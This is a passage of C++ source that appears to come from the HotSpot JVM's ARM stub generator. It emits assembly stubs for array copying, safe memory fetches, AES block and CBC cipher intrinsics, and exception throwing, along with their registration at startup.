BLOCK_COMMENT("Identically typed arrays"); { // Identically typed arrays can be copied without element-wise checks. arraycopy_range_checks(src, src_pos, dst, dst_pos, length, R8_temp, R_lh, L_failed); // next registers should be set before the jump to corresponding stub const Register from = R0; // source array address const Register to = R1; // destination array address const Register count = R2; // elements count __ add(src, src, arrayOopDesc::base_offset_in_bytes(T_OBJECT)); //src offset __ add(dst, dst, arrayOopDesc::base_offset_in_bytes(T_OBJECT)); //dst offset __ add_ptr_scaled_int32(from, src, src_pos, LogBytesPerHeapOop); // src_addr __ add_ptr_scaled_int32(to, dst, dst_pos, LogBytesPerHeapOop); // dst_addr __ BIND(L_plain_copy); __ mov(count, length); #ifndef AARCH64 __ pop(saved_regs); // XXX optim: avoid later push in oop_arraycopy ? #endif // !AARCH64 __ b(StubRoutines::_oop_arraycopy); } { __ BIND(L_checkcast_copy); // live at this point: R5_src_klass, R6_dst_klass // Before looking at dst.length, make sure dst is also an objArray. __ ldr_u32(R8_temp, Address(R6_dst_klass, lh_offset)); __ cmp_32(R_lh, R8_temp); __ b(L_failed, ne); // It is safe to examine both src.length and dst.length. arraycopy_range_checks(src, src_pos, dst, dst_pos, length, R8_temp, R_lh, L_failed); // next registers should be set before the jump to corresponding stub const Register from = R0; // source array address const Register to = R1; // destination array address const Register count = R2; // elements count // Marshal the base address arguments now, freeing registers. __ add(src, src, arrayOopDesc::base_offset_in_bytes(T_OBJECT)); //src offset __ add(dst, dst, arrayOopDesc::base_offset_in_bytes(T_OBJECT)); //dst offset __ add_ptr_scaled_int32(from, src, src_pos, LogBytesPerHeapOop); // src_addr __ add_ptr_scaled_int32(to, dst, dst_pos, LogBytesPerHeapOop); // dst_addr __ mov(count, length); // length (reloaded) Register sco_temp = R3; // this register is free now assert_different_registers(from, to, count, sco_temp, R6_dst_klass, R5_src_klass); // Generate the type check. int sco_offset = in_bytes(Klass::super_check_offset_offset()); __ ldr_u32(sco_temp, Address(R6_dst_klass, sco_offset)); generate_type_check(R5_src_klass, sco_temp, R6_dst_klass, R8_temp, R9, AARCH64_ONLY(R10) NOT_AARCH64(R12), L_plain_copy); // Fetch destination element klass from the ObjArrayKlass header. int ek_offset = in_bytes(ObjArrayKlass::element_klass_offset()); // the checkcast_copy loop needs two extra arguments: const Register Rdst_elem_klass = AARCH64_ONLY(R4) NOT_AARCH64(R3); __ ldr(Rdst_elem_klass, Address(R6_dst_klass, ek_offset)); // dest elem klass #ifndef AARCH64 __ pop(saved_regs); // XXX optim: avoid later push in oop_arraycopy ? __ str(Rdst_elem_klass, Address(SP,0)); // dest elem klass argument #endif // !AARCH64 __ ldr_u32(R3, Address(Rdst_elem_klass, sco_offset)); // sco of elem klass __ b(StubRoutines::_checkcast_arraycopy); } __ BIND(L_failed); #ifndef AARCH64 __ pop(saved_regs); #endif // !AARCH64 __ mvn(R0, 0); // failure, with 0 copied __ ret(); return start; } // Safefetch stubs. void generate_safefetch(const char* name, int size, address* entry, address* fault_pc, address* continuation_pc) { // safefetch signatures: // int SafeFetch32(int* adr, int errValue); // intptr_t SafeFetchN (intptr_t* adr, intptr_t errValue); // // arguments: // R0 = adr // R1 = errValue // // result: // R0 = *adr or errValue StubCodeMark mark(this, "StubRoutines", name); // Entry point, pc or function descriptor. *entry = __ pc(); // Load *adr into c_rarg2, may fault. *fault_pc = __ pc(); switch (size) { case 4: // int32_t __ ldr_s32(R1, Address(R0)); break; case 8: // int64_t #ifdef AARCH64 __ ldr(R1, Address(R0)); #else Unimplemented(); #endif // AARCH64 break; default: ShouldNotReachHere(); } // return errValue or *adr *continuation_pc = __ pc(); __ mov(R0, R1); __ ret(); } void generate_arraycopy_stubs() { // Note: the disjoint stubs must be generated first, some of // the conjoint stubs use them. bool status = false; // non failing C2 stubs need not return a status in R0 #ifdef TEST_C2_GENERIC_ARRAYCOPY /* Internal development flag */ // With this flag, the C2 stubs are tested by generating calls to // generic_arraycopy instead of Runtime1::arraycopy // Runtime1::arraycopy return a status in R0 (0 if OK, else ~copied) // and the result is tested to see whether the arraycopy stub should // be called. // When we test arraycopy this way, we must generate extra code in the // arraycopy methods callable from C2 generic_arraycopy to set the // status to 0 for those who always succeed (calling the slow path stub might // lead to errors since the copy has already been performed). status = true; // generate a status compatible with C1 calls #endif // these need always status in case they are called from generic_arraycopy StubRoutines::_jbyte_disjoint_arraycopy = generate_primitive_copy(false, "jbyte_disjoint_arraycopy", true, 1, true); StubRoutines::_jshort_disjoint_arraycopy = generate_primitive_copy(false, "jshort_disjoint_arraycopy", true, 2, true); StubRoutines::_jint_disjoint_arraycopy = generate_primitive_copy(false, "jint_disjoint_arraycopy", true, 4, true); StubRoutines::_jlong_disjoint_arraycopy = generate_primitive_copy(false, "jlong_disjoint_arraycopy", true, 8, true); StubRoutines::_oop_disjoint_arraycopy = generate_oop_copy (false, "oop_disjoint_arraycopy", true, true); StubRoutines::_arrayof_jbyte_disjoint_arraycopy = generate_primitive_copy(true, "arrayof_jbyte_disjoint_arraycopy", status, 1, true); StubRoutines::_arrayof_jshort_disjoint_arraycopy = generate_primitive_copy(true, "arrayof_jshort_disjoint_arraycopy",status, 2, true); StubRoutines::_arrayof_jint_disjoint_arraycopy = generate_primitive_copy(true, "arrayof_jint_disjoint_arraycopy", status, 4, true); StubRoutines::_arrayof_jlong_disjoint_arraycopy = generate_primitive_copy(true, "arrayof_jlong_disjoint_arraycopy", status, 8, true); StubRoutines::_arrayof_oop_disjoint_arraycopy = generate_oop_copy (true, "arrayof_oop_disjoint_arraycopy", status, true); // these need always status in case they are called from generic_arraycopy StubRoutines::_jbyte_arraycopy = generate_primitive_copy(false, "jbyte_arraycopy", true, 1, false, StubRoutines::_jbyte_disjoint_arraycopy); StubRoutines::_jshort_arraycopy = generate_primitive_copy(false, "jshort_arraycopy", true, 2, false, StubRoutines::_jshort_disjoint_arraycopy); StubRoutines::_jint_arraycopy = generate_primitive_copy(false, "jint_arraycopy", true, 4, false, StubRoutines::_jint_disjoint_arraycopy); StubRoutines::_jlong_arraycopy = generate_primitive_copy(false, "jlong_arraycopy", true, 8, false, StubRoutines::_jlong_disjoint_arraycopy); StubRoutines::_oop_arraycopy = generate_oop_copy (false, "oop_arraycopy", true, false, StubRoutines::_oop_disjoint_arraycopy); StubRoutines::_arrayof_jbyte_arraycopy = generate_primitive_copy(true, "arrayof_jbyte_arraycopy", status, 1, false, StubRoutines::_arrayof_jbyte_disjoint_arraycopy); StubRoutines::_arrayof_jshort_arraycopy = generate_primitive_copy(true, "arrayof_jshort_arraycopy", status, 2, false, StubRoutines::_arrayof_jshort_disjoint_arraycopy); #ifdef _LP64 // since sizeof(jint) < sizeof(HeapWord), there's a different flavor: StubRoutines::_arrayof_jint_arraycopy = generate_primitive_copy(true, "arrayof_jint_arraycopy", status, 4, false, StubRoutines::_arrayof_jint_disjoint_arraycopy); #else StubRoutines::_arrayof_jint_arraycopy = StubRoutines::_jint_arraycopy; #endif if (BytesPerHeapOop < HeapWordSize) { StubRoutines::_arrayof_oop_arraycopy = generate_oop_copy (true, "arrayof_oop_arraycopy", status, false, StubRoutines::_arrayof_oop_disjoint_arraycopy); } else { StubRoutines::_arrayof_oop_arraycopy = StubRoutines::_oop_arraycopy; } StubRoutines::_arrayof_jlong_arraycopy = StubRoutines::_jlong_arraycopy; StubRoutines::_checkcast_arraycopy = generate_checkcast_copy("checkcast_arraycopy"); StubRoutines::_unsafe_arraycopy = generate_unsafe_copy("unsafe_arraycopy"); StubRoutines::_generic_arraycopy = generate_generic_copy("generic_arraycopy"); } #ifndef AARCH64 #define COMPILE_CRYPTO #include "stubRoutinesCrypto_arm.cpp" #else #ifdef COMPILER2 // Arguments: // // Inputs: // c_rarg0 - source byte array address // c_rarg1 - destination byte array address // c_rarg2 - K (key) in little endian int array // address generate_aescrypt_encryptBlock() { __ align(CodeEntryAlignment); StubCodeMark mark(this, "StubRoutines", "aescrypt_encryptBlock"); Label L_doLast; const Register from = c_rarg0; // source array address const Register to = c_rarg1; // destination array address const Register key = c_rarg2; // key array address const Register keylen = R8; address start = __ pc(); __ stp(FP, LR, Address(SP, -2 * wordSize, pre_indexed)); __ mov(FP, SP); __ ldr_w(keylen, Address(key, arrayOopDesc::length_offset_in_bytes() - arrayOopDesc::base_offset_in_bytes(T_INT))); __ vld1(V0, Address(from), MacroAssembler::VELEM_SIZE_8, 128); // get 16 bytes of input __ vld1(V1, V2, V3, V4, Address(key, 64, post_indexed), MacroAssembler::VELEM_SIZE_8, 128); int quad = 1; __ rev32(V1, V1, MacroAssembler::VELEM_SIZE_8, quad); __ rev32(V2, V2, MacroAssembler::VELEM_SIZE_8, quad); __ rev32(V3, V3, MacroAssembler::VELEM_SIZE_8, quad); __ rev32(V4, V4, MacroAssembler::VELEM_SIZE_8, quad); __ aese(V0, V1); __ aesmc(V0, V0); __ aese(V0, V2); __ aesmc(V0, V0); __ aese(V0, V3); __ aesmc(V0, V0); __ aese(V0, V4); __ aesmc(V0, V0); __ vld1(V1, V2, V3, V4, Address(key, 64, post_indexed), MacroAssembler::VELEM_SIZE_8, 128); __ rev32(V1, V1, MacroAssembler::VELEM_SIZE_8, quad); __ rev32(V2, V2, MacroAssembler::VELEM_SIZE_8, quad); __ rev32(V3, V3, MacroAssembler::VELEM_SIZE_8, quad); __ rev32(V4, V4, MacroAssembler::VELEM_SIZE_8, quad); __ aese(V0, V1); __ aesmc(V0, V0); __ aese(V0, V2); __ aesmc(V0, V0); __ aese(V0, V3); __ aesmc(V0, V0); __ aese(V0, V4); __ aesmc(V0, V0); __ vld1(V1, V2, Address(key, 32, post_indexed), MacroAssembler::VELEM_SIZE_8, 128); __ rev32(V1, V1, MacroAssembler::VELEM_SIZE_8, quad); __ rev32(V2, V2, MacroAssembler::VELEM_SIZE_8, quad); __ cmp_w(keylen, 44); __ b(L_doLast, eq); __ aese(V0, V1); __ aesmc(V0, V0); __ aese(V0, V2); __ aesmc(V0, V0); __ vld1(V1, V2, Address(key, 32, post_indexed), MacroAssembler::VELEM_SIZE_8, 128); __ rev32(V1, V1, MacroAssembler::VELEM_SIZE_8, quad); __ rev32(V2, V2, MacroAssembler::VELEM_SIZE_8, quad); __ cmp_w(keylen, 52); __ b(L_doLast, eq); __ aese(V0, V1); __ aesmc(V0, V0); __ aese(V0, V2); __ aesmc(V0, V0); __ vld1(V1, V2, Address(key, 32, post_indexed), MacroAssembler::VELEM_SIZE_8, 128); __ rev32(V1, V1, MacroAssembler::VELEM_SIZE_8, quad); __ rev32(V2, V2, MacroAssembler::VELEM_SIZE_8, quad); __ BIND(L_doLast); __ aese(V0, V1); __ aesmc(V0, V0); __ aese(V0, V2); __ vld1(V1, Address(key), MacroAssembler::VELEM_SIZE_8, 128); __ rev32(V1, V1, MacroAssembler::VELEM_SIZE_8, quad); __ eor(V0, V0, V1, MacroAssembler::VELEM_SIZE_8, quad); __ vst1(V0, Address(to), MacroAssembler::VELEM_SIZE_8, 128); __ mov(R0, 0); __ mov(SP, FP); __ ldp(FP, LR, Address(SP, 2 * wordSize, post_indexed)); __ ret(LR); return start; } // Arguments: // // Inputs: // c_rarg0 - source byte array address // c_rarg1 - destination byte array address // c_rarg2 - K (key) in little endian int array // address generate_aescrypt_decryptBlock() { assert(UseAES, "need AES instructions and misaligned SSE support"); __ align(CodeEntryAlignment); StubCodeMark mark(this, "StubRoutines", "aescrypt_decryptBlock"); Label L_doLast; const Register from = c_rarg0; // source array address const Register to = c_rarg1; // destination array address const Register key = c_rarg2; // key array address const Register keylen = R8; address start = __ pc(); __ stp(FP, LR, Address(SP, -2 * wordSize, pre_indexed)); __ mov(FP, SP); __ ldr_w(keylen, Address(key, arrayOopDesc::length_offset_in_bytes() - arrayOopDesc::base_offset_in_bytes(T_INT))); __ vld1(V0, Address(from), MacroAssembler::VELEM_SIZE_8, 128); // get 16 bytes of input __ vld1(V5, Address(key, 16, post_indexed), MacroAssembler::VELEM_SIZE_8, 128); int quad = 1; __ rev32(V5, V5, MacroAssembler::VELEM_SIZE_8, quad); __ vld1(V1, V2, V3, V4, Address(key, 64, post_indexed), MacroAssembler::VELEM_SIZE_8, 128); __ rev32(V1, V1, MacroAssembler::VELEM_SIZE_8, quad); __ rev32(V2, V2, MacroAssembler::VELEM_SIZE_8, quad); __ rev32(V3, V3, MacroAssembler::VELEM_SIZE_8, quad); __ rev32(V4, V4, MacroAssembler::VELEM_SIZE_8, quad); __ aesd(V0, V1); __ aesimc(V0, V0); __ aesd(V0, V2); __ aesimc(V0, V0); __ aesd(V0, V3); __ aesimc(V0, V0); __ aesd(V0, V4); __ aesimc(V0, V0); __ vld1(V1, V2, V3, V4, Address(key, 64, post_indexed), MacroAssembler::VELEM_SIZE_8, 128); __ rev32(V1, V1, MacroAssembler::VELEM_SIZE_8, quad); __ rev32(V2, V2, MacroAssembler::VELEM_SIZE_8, quad); __ rev32(V3, V3, MacroAssembler::VELEM_SIZE_8, quad); __ rev32(V4, V4, MacroAssembler::VELEM_SIZE_8, quad); __ aesd(V0, V1); __ aesimc(V0, V0); __ aesd(V0, V2); __ aesimc(V0, V0); __ aesd(V0, V3); __ aesimc(V0, V0); __ aesd(V0, V4); __ aesimc(V0, V0); __ vld1(V1, V2, Address(key, 32, post_indexed), MacroAssembler::VELEM_SIZE_8, 128); __ rev32(V1, V1, MacroAssembler::VELEM_SIZE_8, quad); __ rev32(V2, V2, MacroAssembler::VELEM_SIZE_8, quad); __ cmp_w(keylen, 44); __ b(L_doLast, eq); __ aesd(V0, V1); __ aesimc(V0, V0); __ aesd(V0, V2); __ aesimc(V0, V0); __ vld1(V1, V2, Address(key, 32, post_indexed), MacroAssembler::VELEM_SIZE_8, 128); __ rev32(V1, V1, MacroAssembler::VELEM_SIZE_8, quad); __ rev32(V2, V2, MacroAssembler::VELEM_SIZE_8, quad); __ cmp_w(keylen, 52); __ b(L_doLast, eq); __ aesd(V0, V1); __ aesimc(V0, V0); __ aesd(V0, V2); __ aesimc(V0, V0); __ vld1(V1, V2, Address(key, 32, post_indexed), MacroAssembler::VELEM_SIZE_8, 128); __ rev32(V1, V1, MacroAssembler::VELEM_SIZE_8, quad); __ rev32(V2, V2, MacroAssembler::VELEM_SIZE_8, quad); __ BIND(L_doLast); __ aesd(V0, V1); __ aesimc(V0, V0); __ aesd(V0, V2); __ eor(V0, V0, V5, MacroAssembler::VELEM_SIZE_8, quad); __ vst1(V0, Address(to), MacroAssembler::VELEM_SIZE_8, 128); __ mov(R0, 0); __ mov(SP, FP); __ ldp(FP, LR, Address(SP, 2 * wordSize, post_indexed)); __ ret(LR); return start; } // Arguments: // // Inputs: // c_rarg0 - source byte array address // c_rarg1 - destination byte array address // c_rarg2 - K (key) in little endian int array // c_rarg3 - r vector byte array address // c_rarg4 - input length // // Output: // x0 - input length // address generate_cipherBlockChaining_encryptAESCrypt() { assert(UseAES, "need AES instructions and misaligned SSE support"); __ align(CodeEntryAlignment); StubCodeMark mark(this, "StubRoutines", "cipherBlockChaining_encryptAESCrypt"); Label L_loadkeys_44, L_loadkeys_52, L_aes_loop, L_rounds_44, L_rounds_52; const Register from = c_rarg0; // source array address const Register to = c_rarg1; // destination array address const Register key = c_rarg2; // key array address const Register rvec = c_rarg3; // r byte array initialized from initvector array address // and left with the results of the last encryption block const Register len_reg = c_rarg4; // src len (must be multiple of blocksize 16) const Register keylen = R8; address start = __ pc(); __ stp(FP, LR, Address(SP, -2 * wordSize, pre_indexed)); __ mov(FP, SP); __ mov(R9, len_reg); __ ldr_w(keylen, Address(key, arrayOopDesc::length_offset_in_bytes() - arrayOopDesc::base_offset_in_bytes(T_INT))); __ vld1(V0, Address(rvec), MacroAssembler::VELEM_SIZE_8, 128); __ cmp_w(keylen, 52); __ b(L_loadkeys_44, cc); __ b(L_loadkeys_52, eq); __ vld1(V17, V18, Address(key, 32, post_indexed), MacroAssembler::VELEM_SIZE_8, 128); int quad = 1; __ rev32(V17, V17, MacroAssembler::VELEM_SIZE_8, quad); __ rev32(V18, V18, MacroAssembler::VELEM_SIZE_8, quad); __ BIND(L_loadkeys_52); __ vld1(V19, V20, Address(key, 32, post_indexed), MacroAssembler::VELEM_SIZE_8, 128); __ rev32(V19, V19, MacroAssembler::VELEM_SIZE_8, quad); __ rev32(V20, V20, MacroAssembler::VELEM_SIZE_8, quad); __ BIND(L_loadkeys_44); __ vld1(V21, V22, V23, V24, Address(key, 64, post_indexed), MacroAssembler::VELEM_SIZE_8, 128); __ rev32(V21, V21, MacroAssembler::VELEM_SIZE_8, quad); __ rev32(V22, V22, MacroAssembler::VELEM_SIZE_8, quad); __ rev32(V23, V23, MacroAssembler::VELEM_SIZE_8, quad); __ rev32(V24, V24, MacroAssembler::VELEM_SIZE_8, quad); __ vld1(V25, V26, V27, V28, Address(key, 64, post_indexed), MacroAssembler::VELEM_SIZE_8, 128); __ rev32(V25, V25, MacroAssembler::VELEM_SIZE_8, quad); __ rev32(V26, V26, MacroAssembler::VELEM_SIZE_8, quad); __ rev32(V27, V27, MacroAssembler::VELEM_SIZE_8, quad); __ rev32(V28, V28, MacroAssembler::VELEM_SIZE_8, quad); __ vld1(V29, V30, V31, Address(key), MacroAssembler::VELEM_SIZE_8, 128); __ rev32(V29, V29, MacroAssembler::VELEM_SIZE_8, quad); __ rev32(V30, V30, MacroAssembler::VELEM_SIZE_8, quad); __ rev32(V31, V31, MacroAssembler::VELEM_SIZE_8, quad); __ BIND(L_aes_loop); __ vld1(V1, Address(from, 16, post_indexed), MacroAssembler::VELEM_SIZE_8, 128); __ eor(V0, V0, V1, MacroAssembler::VELEM_SIZE_8, quad); __ b(L_rounds_44, cc); __ b(L_rounds_52, eq); __ aese(V0, V17); __ aesmc(V0, V0); __ aese(V0, V18); __ aesmc(V0, V0); __ BIND(L_rounds_52); __ aese(V0, V19); __ aesmc(V0, V0); __ aese(V0, V20); __ aesmc(V0, V0); __ BIND(L_rounds_44); __ aese(V0, V21); __ aesmc(V0, V0); __ aese(V0, V22); __ aesmc(V0, V0); __ aese(V0, V23); __ aesmc(V0, V0); __ aese(V0, V24); __ aesmc(V0, V0); __ aese(V0, V25); __ aesmc(V0, V0); __ aese(V0, V26); __ aesmc(V0, V0); __ aese(V0, V27); __ aesmc(V0, V0); __ aese(V0, V28); __ aesmc(V0, V0); __ aese(V0, V29); __ aesmc(V0, V0); __ aese(V0, V30); __ eor(V0, V0, V31, MacroAssembler::VELEM_SIZE_8, quad); __ vst1(V0, Address(to, 16, post_indexed), MacroAssembler::VELEM_SIZE_8, 128); __ sub(len_reg, len_reg, 16); __ cbnz(len_reg, L_aes_loop); __ vst1(V0, Address(rvec), MacroAssembler::VELEM_SIZE_8, 128); __ mov(R0, R9); __ mov(SP, FP); __ ldp(FP, LR, Address(SP, 2 * wordSize, post_indexed)); __ ret(LR); return start; } // Arguments: // // Inputs: // c_rarg0 - source byte array address // c_rarg1 - destination byte array address // c_rarg2 - K (key) in little endian int array // c_rarg3 - r vector byte array address // c_rarg4 - input length // // Output: // rax - input length // address generate_cipherBlockChaining_decryptAESCrypt() { assert(UseAES, "need AES instructions and misaligned SSE support"); __ align(CodeEntryAlignment); StubCodeMark mark(this, "StubRoutines", "cipherBlockChaining_decryptAESCrypt"); Label L_loadkeys_44, L_loadkeys_52, L_aes_loop, L_rounds_44, L_rounds_52; const Register from = c_rarg0; // source array address const Register to = c_rarg1; // destination array address const Register key = c_rarg2; // key array address const Register rvec = c_rarg3; // r byte array initialized from initvector array address // and left with the results of the last encryption block const Register len_reg = c_rarg4; // src len (must be multiple of blocksize 16) const Register keylen = R8; address start = __ pc(); __ stp(FP, LR, Address(SP, -2 * wordSize, pre_indexed)); __ mov(FP, SP); __ mov(R9, len_reg); __ ldr_w(keylen, Address(key, arrayOopDesc::length_offset_in_bytes() - arrayOopDesc::base_offset_in_bytes(T_INT))); __ vld1(V2, Address(rvec), MacroAssembler::VELEM_SIZE_8, 128); __ vld1(V31, Address(key, 16, post_indexed), MacroAssembler::VELEM_SIZE_8, 128); int quad = 1; __ rev32(V31, V31, MacroAssembler::VELEM_SIZE_8, quad); __ cmp_w(keylen, 52); __ b(L_loadkeys_44, cc); __ b(L_loadkeys_52, eq); __ vld1(V17, V18, Address(key, 32, post_indexed), MacroAssembler::VELEM_SIZE_8, 128); __ rev32(V17, V17, MacroAssembler::VELEM_SIZE_8, quad); __ rev32(V18, V18, MacroAssembler::VELEM_SIZE_8, quad); __ BIND(L_loadkeys_52); __ vld1(V19, V20, Address(key, 32, post_indexed), MacroAssembler::VELEM_SIZE_8, 128); __ rev32(V19, V19, MacroAssembler::VELEM_SIZE_8, quad); __ rev32(V20, V20, MacroAssembler::VELEM_SIZE_8, quad); __ BIND(L_loadkeys_44); __ vld1(V21, V22, V23, V24, Address(key, 64, post_indexed), MacroAssembler::VELEM_SIZE_8, 128); __ rev32(V21, V21, MacroAssembler::VELEM_SIZE_8, quad); __ rev32(V22, V22, MacroAssembler::VELEM_SIZE_8, quad); __ rev32(V23, V23, MacroAssembler::VELEM_SIZE_8, quad); __ rev32(V24, V24, MacroAssembler::VELEM_SIZE_8, quad); __ vld1(V25, V26, V27, V28, Address(key, 64, post_indexed), MacroAssembler::VELEM_SIZE_8, 128); __ rev32(V25, V25, MacroAssembler::VELEM_SIZE_8, quad); __ rev32(V26, V26, MacroAssembler::VELEM_SIZE_8, quad); __ rev32(V27, V27, MacroAssembler::VELEM_SIZE_8, quad); __ rev32(V28, V28, MacroAssembler::VELEM_SIZE_8, quad); __ vld1(V29, V30, Address(key), MacroAssembler::VELEM_SIZE_8, 128); __ rev32(V29, V29, MacroAssembler::VELEM_SIZE_8, quad); __ rev32(V30, V30, MacroAssembler::VELEM_SIZE_8, quad); __ BIND(L_aes_loop); __ vld1(V0, Address(from, 16, post_indexed), MacroAssembler::VELEM_SIZE_8, 128); __ orr(V1, V0, V0, MacroAssembler::VELEM_SIZE_8, quad); __ b(L_rounds_44, cc); __ b(L_rounds_52, eq); __ aesd(V0, V17); __ aesimc(V0, V0); __ aesd(V0, V17); __ aesimc(V0, V0); __ BIND(L_rounds_52); __ aesd(V0, V19); __ aesimc(V0, V0); __ aesd(V0, V20); __ aesimc(V0, V0); __ BIND(L_rounds_44); __ aesd(V0, V21); __ aesimc(V0, V0); __ aesd(V0, V22); __ aesimc(V0, V0); __ aesd(V0, V23); __ aesimc(V0, V0); __ aesd(V0, V24); __ aesimc(V0, V0); __ aesd(V0, V25); __ aesimc(V0, V0); __ aesd(V0, V26); __ aesimc(V0, V0); __ aesd(V0, V27); __ aesimc(V0, V0); __ aesd(V0, V28); __ aesimc(V0, V0); __ aesd(V0, V29); __ aesimc(V0, V0); __ aesd(V0, V30); __ eor(V0, V0, V31, MacroAssembler::VELEM_SIZE_8, quad); __ eor(V0, V0, V2, MacroAssembler::VELEM_SIZE_8, quad); __ vst1(V0, Address(to, 16, post_indexed), MacroAssembler::VELEM_SIZE_8, 128); __ orr(V2, V1, V1, MacroAssembler::VELEM_SIZE_8, quad); __ sub(len_reg, len_reg, 16); __ cbnz(len_reg, L_aes_loop); __ vst1(V2, Address(rvec), MacroAssembler::VELEM_SIZE_8, 128); __ mov(R0, R9); __ mov(SP, FP); __ ldp(FP, LR, Address(SP, 2 * wordSize, post_indexed)); __ ret(LR); return start; } #endif // COMPILER2 #endif // AARCH64 private: #undef __ #define __ masm-> //------------------------------------------------------------------------------------------------------------------------ // Continuation point for throwing of implicit exceptions that are not handled in // the current activation. Fabricates an exception oop and initiates normal // exception dispatching in this frame. address generate_throw_exception(const char* name, address runtime_entry) { int insts_size = 128; int locs_size = 32; CodeBuffer code(name, insts_size, locs_size); OopMapSet* oop_maps; int frame_size; int frame_complete; oop_maps = new OopMapSet(); MacroAssembler* masm = new MacroAssembler(&code); address start = __ pc(); frame_size = 2; __ mov(Rexception_pc, LR); __ raw_push(FP, LR); frame_complete = __ pc() - start; // Any extra arguments are already supposed to be R1 and R2 __ mov(R0, Rthread); int pc_offset = __ set_last_Java_frame(SP, FP, false, Rtemp); assert(((__ pc()) - start) == __ offset(), "warning: start differs from code_begin"); __ call(runtime_entry); if (pc_offset == -1) { pc_offset = __ offset(); } // Generate oop map OopMap* map = new OopMap(frame_size*VMRegImpl::slots_per_word, 0); oop_maps->add_gc_map(pc_offset, map); __ reset_last_Java_frame(Rtemp); // Rtemp free since scratched by far call __ raw_pop(FP, LR); __ jump(StubRoutines::forward_exception_entry(), relocInfo::runtime_call_type, Rtemp); RuntimeStub* stub = RuntimeStub::new_runtime_stub(name, &code, frame_complete, frame_size, oop_maps, false); return stub->entry_point(); } //--------------------------------------------------------------------------- // Initialization void generate_initial() { // Generates all stubs and initializes the entry points //------------------------------------------------------------------------------------------------------------------------ // entry points that exist in all platforms // Note: This is code that could be shared among different platforms - however the benefit seems to be smaller than // the disadvantage of having a much more complicated generator structure. See also comment in stubRoutines.hpp. StubRoutines::_forward_exception_entry = generate_forward_exception(); StubRoutines::_call_stub_entry = generate_call_stub(StubRoutines::_call_stub_return_address); // is referenced by megamorphic call StubRoutines::_catch_exception_entry = generate_catch_exception(); // stub for throwing stack overflow error used both by interpreter and compiler StubRoutines::_throw_StackOverflowError_entry = generate_throw_exception("StackOverflowError throw_exception", CAST_FROM_FN_PTR(address, SharedRuntime::throw_StackOverflowError)); #ifndef AARCH64 // integer division used both by interpreter and compiler StubRoutines::Arm::_idiv_irem_entry = generate_idiv_irem(); StubRoutines::_atomic_add_entry = generate_atomic_add(); StubRoutines::_atomic_xchg_entry = generate_atomic_xchg(); StubRoutines::_atomic_cmpxchg_entry = generate_atomic_cmpxchg(); StubRoutines::_atomic_cmpxchg_long_entry = generate_atomic_cmpxchg_long(); StubRoutines::_atomic_load_long_entry = generate_atomic_load_long(); StubRoutines::_atomic_store_long_entry = generate_atomic_store_long(); #endif // !AARCH64 } void generate_all() { // Generates all stubs and initializes the entry points #ifdef COMPILER2 // Generate partial_subtype_check first here since its code depends on // UseZeroBaseCompressedOops which is defined after heap initialization. StubRoutines::Arm::_partial_subtype_check = generate_partial_subtype_check(); #endif // These entry points require SharedInfo::stack0 to be set up in non-core builds // and need to be relocatable, so they each fabricate a RuntimeStub internally. StubRoutines::_throw_AbstractMethodError_entry = generate_throw_exception("AbstractMethodError throw_exception", CAST_FROM_FN_PTR(address, SharedRuntime::throw_AbstractMethodError)); StubRoutines::_throw_IncompatibleClassChangeError_entry= generate_throw_exception("IncompatibleClassChangeError throw_exception", CAST_FROM_FN_PTR(address, SharedRuntime::throw_IncompatibleClassChangeError)); StubRoutines::_throw_NullPointerException_at_call_entry= generate_throw_exception("NullPointerException at call throw_exception", CAST_FROM_FN_PTR(address, SharedRuntime::throw_NullPointerException_at_call)); //------------------------------------------------------------------------------------------------------------------------ // entry points that are platform specific // support for verify_oop (must happen after universe_init) StubRoutines::_verify_oop_subroutine_entry = generate_verify_oop(); // arraycopy stubs used by compilers generate_arraycopy_stubs(); // Safefetch stubs. generate_safefetch("SafeFetch32", sizeof(int), &StubRoutines::_safefetch32_entry, &StubRoutines::_safefetch32_fault_pc, &StubRoutines::_safefetch32_continuation_pc); #ifdef AARCH64 generate_safefetch("SafeFetchN", wordSize, &StubRoutines::_safefetchN_entry, &StubRoutines::_safefetchN_fault_pc, &StubRoutines::_safefetchN_continuation_pc); #ifdef COMPILER2 if (UseAESIntrinsics) { StubRoutines::_aescrypt_encryptBlock = generate_aescrypt_encryptBlock(); StubRoutines::_aescrypt_decryptBlock = generate_aescrypt_decryptBlock(); StubRoutines::_cipherBlockChaining_encryptAESCrypt = generate_cipherBlockChaining_encryptAESCrypt(); StubRoutines::_cipherBlockChaining_decryptAESCrypt = generate_cipherBlockChaining_decryptAESCrypt(); } #endif #else assert (sizeof(int) == wordSize, "32-bit architecture"); StubRoutines::_safefetchN_entry = StubRoutines::_safefetch32_entry; StubRoutines::_safefetchN_fault_pc = StubRoutines::_safefetch32_fault_pc; StubRoutines::_safefetchN_continuation_pc = StubRoutines::_safefetch32_continuation_pc; #endif // AARCH64 #ifdef COMPILE_CRYPTO // generate AES intrinsics code if (UseAESIntrinsics) { aes_init(); StubRoutines::_aescrypt_encryptBlock = generate_aescrypt_encryptBlock(); StubRoutines::_aescrypt_decryptBlock = generate_aescrypt_decryptBlock(); StubRoutines::_cipherBlockChaining_encryptAESCrypt = generate_cipherBlockChaining_encryptAESCrypt(); StubRoutines::_cipherBlockChaining_decryptAESCrypt = generate_cipherBlockChaining_decryptAESCrypt(); } #endif // COMPILE_CRYPTO } public: StubGenerator(CodeBuffer* code, bool all) : StubCodeGenerator(code) { if (all) { generate_all(); } else { generate_initial(); } } }; // end class declaration void StubGenerator_generate(CodeBuffer* code, bool all) { StubGenerator g(code, all); }
